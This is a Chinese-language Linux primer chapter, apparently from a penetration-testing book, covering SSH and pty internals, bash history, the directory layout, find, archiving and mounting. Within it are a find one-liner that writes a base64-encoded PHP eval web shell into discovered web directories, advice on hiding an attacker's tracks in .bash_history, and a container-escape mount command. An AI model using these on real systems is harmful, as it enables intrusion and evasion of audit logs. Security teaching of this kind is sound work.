🛠️Linux基础快速入门
这一章节是快速了解Linux知识,并不会从零基础讲起,如果你没有任何Linux基础,希望你通过一些书籍快速掌握基本操作再来阅读此书。
在后续章节中很多内容都需要掌握Linux一些进阶技巧,反弹Shell、echo命令、特殊权限等在容器逃逸、K8s中会经常用到。
Linux基础快速入门
SSH远程访问流程
当我们在键盘上敲下一个字母的时候,到底是怎么发送到相应的进程的呢?

这里的Terminal可能是任何地方的程序,例如Windows上的Putty、Xshell之类的程序。
1. Terminal请求和SSH Server建立连接
2. 验证通过后,SSH Server将创建一个新的Session,一个Shell进程
3. SSH Server会调用API,请求ptmx创建一个pts,成功之后呢,SSH Server将得到和ptmx关联的fd(file descriptor(文件描述符)),并与该fd和session关联起来;
4. 同时sshd创建Shell进程,将新创建的pts和Shell绑定

TTY和PTS的区别
对用户空间来说是没有区别,从内核看,pts另一端连接的是ptmx,而tty是连接内核的终端模拟器。
什么是ptmx?
ptmx是Linux中的一个特殊文件,全称为pseudo-terminal master-slave。它是一种虚拟终端,用于模拟终端设备。它允许进程向模拟终端读写数据,就好像与实际终端设备进行通信一样。它在很多应用场景中都有用到,例如:SSH登录、读写终端设备、脚本调试等。
Shell中两类命令
内部命令:由shell自带,用户登录后自动加载并常驻内存中
外部命令:文件系统路径下有对应的可执行程序文件,当执行时才从磁盘加载至内存中,执行完后从内存中删除
用type命令查看是内部还是外部命令:
type COMMAND
enable cmd #启用内部命令
enable -n cmd #禁用内部命令
enable -n #查看所有禁用的司令部命令
在一些渗透场景中,如果有些命令无法执行可以查看一下enable
Hash缓存表
Linux还有一个与外部命令相关的Hash缓存表,称为"hash table"或"command hashing"。
这个Hash缓存表存储了已经执行过的外部命令的路径,以便下次执行时能够快速查找。当你在命令行中执行一个命令时,系统会首先检查Hash缓存表中是否已经存储了该命令的路径,如果是,就直接使用缓存表中的路径执行命令,而不必再次搜索整个文件系统。
hash -l #显示hash缓存
hash -d name #清除name缓存
hash -r #清除缓存
常见命令
命令行历史
在终端操作后,系统默认会在内存记录执行的命令,当用户退出时会将内存命令记录在~/.bash_history
-c 清空历史命令
-d 指定删除命令
-n 显示最近的n条历史
-w 保存历史列表到指定文件
HISTSIZE #命令历史记录条数
HISTFILESIZE #命令历史文件记录历史条数
#显示时间和用户
HISTTIMEFORMAT="%F %T `whoami`|"
HISTCONTROL: #控制命令历史的记录方式
ignoredups #去掉重复的命令
ignorespace #忽略以空白开头的命令
ignoreboth #前二条的组合
erasedups #删除重复命令
#永久设置
/etc/profile 或者 ~/.bash_profile
#空格后忽略记录
export HISTCONTROL=ignoreboth
在渗透场景中不建议在服务器使用history -c清除记录,最好通过编辑.bash_history删除自己相关执行的文件,或者执行时忽略以空白开头的命令
History在渗透、溯源中起到了非常重要的作用!!!
关于Linux终端快捷键常用的操作:
!! #重复前一个命令
Ctrl+P #重复前一个命令
!n #执行history对应的命令
!string #执行以什么开头的命令
Ctrl + l #清屏
Ctrl+z #挂起命令
Ctrl+a #光标行首
Ctrl+e #光标行尾
Ctrl+f #光标右移一个字符
Ctrl+b #光标左移一个字符
Ctrl + xx #光标前后移动
目录结构
标了颜色加重的,需要记住目录是什么作用的。
根目录
一级目录
功能(作用)
/bin/
存放系统命令,普通用户和 root 都可以执行。放在 /bin 下的命令在单用户模式下也可以执行
/boot/
系统启动目录,保存与系统启动相关的文件,如内核文件和启动引导程序(grub)文件等
/dev/
设备文件保存位置
/etc/
配置文件保存位置。系统内所有采用默认安装方式(rpm 安装)的服务配置文件全部保存在此目录中如用户信息、服务的启动脚本、常用服务的配置文件等
/home/
普通用户的主目录(也称为家目录)。在创建用户时,每个用户要有一个默认登录和保存自己数据的位置,就是用户的主目录,所有普通用户的主目录是在 /home/ 下建立一个和用户名相同的目录。
如用户 liming 的主目录就是 /home/liming
/lib/
系统调用的函数库保存位置
/media/
挂载目录。系统建议用来挂载媒体设备,如软盘和光盘
/mnt/
挂载目录。早期 Linux 中只有这一个挂载目录,并没有细分。系统建议这个目录用来挂载额外的设备,如 U 盘、移动硬盘和其他操作系统的分区
/misc/
挂载目录。系统建议用来挂载 NFS 服务的共享目录。虽然系统准备了三个默认挂载目录 /media/、/mnt/、/misc/,但是到底在哪个目录中挂载什么设备可以由管理员自己决定。例如,笔者在接触 Linux 的时候,默认挂载目录只有 /mnt/,所以养成了在 /mnt/ 下建立不同目录挂载不同设备的习惯,
如 /mnt/cdrom/ 挂载光盘、/mnt/usb/ 挂载 U 盘,都是可以的
/opt/
第三方安装的软件保存位置。这个目录是放置和安装其他软件的位置,
手工安装的源码包软件都可以安装到这个目录中。不过笔者还是习惯把软件放到 /usr/local/ 目录中,也就是说,/usr/local/ 目录也可以用来安装软件
/root/
root 的主目录。普通用户主目录在 /home/ 下,root 主目录直接在“/”下
/sbin/
保存与系统环境设置相关的命令,只有 root 可以使用这些命令进行系统环境设置,但也有些命令可以允许普通用户查看
/srv/
服务数据目录。一些系统服务启动之后,可以在这个目录中保存所需要的数据
/tmp/
临时目录。系统存放临时文件的目录,在该目录下,所有用户都可以访问和写入。
建议此目录中不能保存重要数据,最好每次开机都把该目录清空
/usr目录
子目录
功能(作用)
/usr/bin/
存放系统命令,普通用户和超级用户都可以执行。这些命令和系统启动无关
/usr/sbin/
存放根文件系统不必要的系统管理命令,如多数服务程序,只有 root 可以使用。
/usr/lib/
应用程序调用的函数库保存位置
/usr/XllR6/
图形界面系统保存位置
/usr/local/
手工安装的软件保存位置。我们一般建议源码包软件安装在这个位置
/usr/share/
应用程序的资源文件保存位置,如帮助文档、说明文档和字体目录
/usr/src/
源码包保存位置。我们手工下载的源码包和内核源码包都可以保存到这里。不过笔者更习惯把手工下载的源码包保存到 /usr/local/src/ 目录中,把内核源码保存到 /usr/src/linux/ 目录中
/usr/include
C/C++等编程语言头文件的放置目录
/var 目录
/var子目录
功能(作用)
/var/lib/
程序运行中需要调用或改变的数据保存位置。如 MySQL
的数据库保存在 /var/lib/mysql/ 目录中
/var/log/
登陆文件放置的目录,其中所包含重要的文件如 /var/log/messages, /var/log/wtmp 等。
/var/run/
一些服务和程序运行后,它们的 PID(进程 ID)保存位置
/var/spool/
里面主要都是一些临时存放,随时会被用户所调用的数据,例如 /var/spool/mail/ 存放新收到的邮件,/var/spool/cron/ 存放系统定时任务。
/var/www/
RPM 包安装的 Apache 的网页主目录
/var/nis和/var/yp
NIS 服务机制所使用的目录,nis 主要记录所有网络中每一个 client 的连接信息;yp 是 linux 的 nis 服务的日志文件存放的目录
/var/tmp
一些应用程序在安装或执行时,需要在重启后使用的某些文件,此目录能将该类文件暂时存放起来,完成后再行删除
文件类型
- 普通文件
d 目录
l 链接文件
b 块设备
c 字符设备
p 管道文件pipe
s 套接字文件socket
文件查找
find
-maxdepth level 最大搜索目录深度,指定目录下的文件为第1级
-mindepth level 最小搜索目录深度
-name #文件名
-iname #不区分大小写
#组合条件
与:-a
或:-o
非:not !
#根据文件类型
-type TYPE
f:普通文件
d:目录文件
l:符号文件
s:套接字文件
p:管道文件
#排除security目录
find /etc -path '/etc/security' -a -prune -o -name "*.conf"
#根据文件大小查找
-size #k,M,G
-atime 天 #根据时间戳
#根据权限
-perm
find / -perm 755
#处理动作
-exec 执行命令
##备份文件
find /etc/ -name ".conf" -exec cp {} /root/conf/ \;
##查找权限为644,后缀为sh文件,并给于执行权限
find / -type f -perm 644 -name "*.sh" -exec chmod 755 {} \;
实战场景,挖到了一个命令执行但是因为找不到目录而无法写shell。
通过网页寻找特殊名称或图片名称,通过find定位WEB目录。
#查找文件并写入
find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done
#查找1.jpg文件并用bash64编码写入
find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done
压缩和解压
#gzip
-k keep, 保留原文件,CentOS 8 新特性
-d 解压缩,相当于gunzip
-c 结果输出至标准输出,保留原文件不改变
-# 指定压缩比,#取值为1-9,值越大压缩比越大
gunzip file.gz #解压
gzip -c messages > messages.gz #压缩
#bzip2、bunzip2
对应的文件是 .bz2 后缀
-k keep, 保留原文件
-d 解压缩
-c 结果输出至标准输出,保留原文件不改变 -# 1-9,压缩比,默认为9
#xz、unxz
unxz file.xz
zip -r /back.zip /etc/ #打包并压缩
zip -e password.zip * #交互式加密解密
zip -P 123456 password.zip * #非交互式
tar
-z 相当于gzip压缩工具
-j 相当于bzip2压缩工具
-J 相当于xz压缩工具
#创建归楼,保留权限
tar -cpvf /1.tar.gz /tmp/
#追加文件
tar -rf /1.tar.gz file
#排除文件
--exclude
#打包文件,不包含图片文件
tar -cvf web.tar.gz --exclude="*.jpg" /data/
#排除多个文件类型
tar -czvf web.tar.gz --exclude="*.jpg" --exclude="*.php" /data/
#只打包特定的文件
find /data/ -name "*.conf" |xargs tar -czvf ./conf.tar.gz
挂载文件
mount [-t 系统类型] [-L 卷标名] [-o 特殊选项] [-n] 设备文件名 挂载点
-t #指定系统类型,例如ext4
-r #只读挂载
-w #读写挂载,默认配置。
#持久挂载
/etc/fstab
#操作光盘
eject #弹出光盘
eject -t #弹入光盘
容器逃逸常用
mount /dev/sda1 /tmp/hosts/
Last updated
Was this helpful?